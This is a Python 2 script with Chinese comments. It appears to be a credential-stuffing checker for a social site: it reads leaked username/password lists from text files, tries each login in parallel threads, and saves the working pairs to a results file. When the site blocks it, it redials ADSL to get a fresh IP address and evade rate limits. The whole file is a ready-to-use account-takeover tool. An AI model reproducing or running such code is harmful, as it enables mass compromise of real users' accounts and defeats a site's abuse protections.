 #coding=utf-8
__author__ = 'Administrator'
import FileUtil
import os
import time
import threading
import LoginRR
import thread
import Adsl

#线程锁
lock = threading.RLock()
#输出文件
OUT_FILE = 0
#分隔符
DIVISION = 0
#线程数组
threads = []
#宽带账号
ACCOUNT = None
#宽带密码
PASSWORD = None
#是否需要重连
RECONNECT = 0

#----------------扫描数据线程类----------------
class ThreadScan(threading.Thread):
    _lines = None
    def __init__(self,lines):
        threading.Thread.__init__(self)
        self._lines = lines

    def run(self):
        if not self._lines == None:
            for line in self._lines:
                #根据分隔符分割账号密码
                a =line.split(DIVISION)
                #判断数据正确与否
                if len(a)<2:
                   print('Wrong Data')
                   thread.exit()
                   #登录
                   #print(a[0]+'----'+a[1])
                try:
                  user = LoginRR.UserRR(a[0],a[1])
                  result = user.login()
                  if result==1:
                    global OUT_FILE
                    write_line(OUT_FILE,a[0]+'----'+a[1])
                    print(a[0]+'--Success')
                  elif result==2:
                    print(a[0]+'--Exception')
                    if ACCOUNT is 0:
                        print('no adsl account')
                    else:
                        lock.acquire()
                        #判断是否已经设置，避免重复设置，加锁同步
                        if RECONNECT==0:
                            global RECONNECT
                            RECONNECT = 1
                        lock.release()
                  elif result==3:
                    print(a[0]+'--Timeout')
                    #如果正在连接，休眠
                    while RECONNECT == 1:
                        print('reconnecting...')
                        time.sleep(0.5)
                  else:
                    print(a[0]+'--Fail')
                except:
                  continue
        print('Stop'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())))

#----------------判断线程是否全部执行完成----------------
def isDone():
    for td in threads:
      if td.isAlive():
         return 0
    return 1


#----------------写数据----------------
def write_line(file,line):
    #线程安全锁
    lock.acquire()
    file.writelines(line)
    file.flush()
    lock.release()


#----------------主函数----------------
if __name__ == '__main__':
  print('Start:'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())))
  print('Add Directory...')
  #获取当前运行路径
  root = FileUtil.cur_dir()
  data_dir = os.path.join(root,"Data")
  print('Data Directory:'+data_dir)

  path_result = FileUtil.create_result_dir()
  global OUT_FILE
  mTime = time.strftime('%Y_%m_%d_%H_%M_%S',time.localtime(time.time()))
  OUT_FILE = FileUtil.open_file_w(os.path.join(path_result,mTime +'.txt'))
  print('Result Directory:'+os.path.join(path_result,mTime +'.txt'))

  list_files = FileUtil.cur_dir_files()
  print('Files:')
  for item in list_files:
    if item[-4:] == '.txt':
       print item

  #等待输入输入账号分割符
  global DIVISION
  DIVISION = raw_input(unicode('Input Division:'))
  print DIVISION
  #等待输入宽带账号
  global ACCOUNT
  ACCOUNT = raw_input('Input Account:')
  #等待输入宽带密码
  global PASSWORD
  PASSWORD = raw_input('Input Password:')
  print(ACCOUNT)
  print(PASSWORD)

  for item in list_files:
    if FileUtil.isfile(os.path.join(data_dir,item)) and item[-4:] == '.txt':
        print('Start Scan File -----'+item)
        input_file = FileUtil.open_file_r(os.path.join(data_dir,item))
        lines = input_file.readlines()
        input_file.close()
        print('Account Number-----' + str(len(lines)))
        t = ThreadScan(lines)
        t.start()
        global threads
        threads.append(t)
        #t.join()

  #阻塞主线程，等待子线程全部执行完毕
  while isDone()==0:
      if RECONNECT==1:
          adsl = Adsl.Adsl(ACCOUNT,PASSWORD)
          adsl.reconnect()
          global RECONNECT
          RECONNECT = 0
      time.sleep(1)
  print("All is done!-----"+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())))
  #关闭文件
  OUT_FILE.close()
  #结束后等待
  os.system('pause')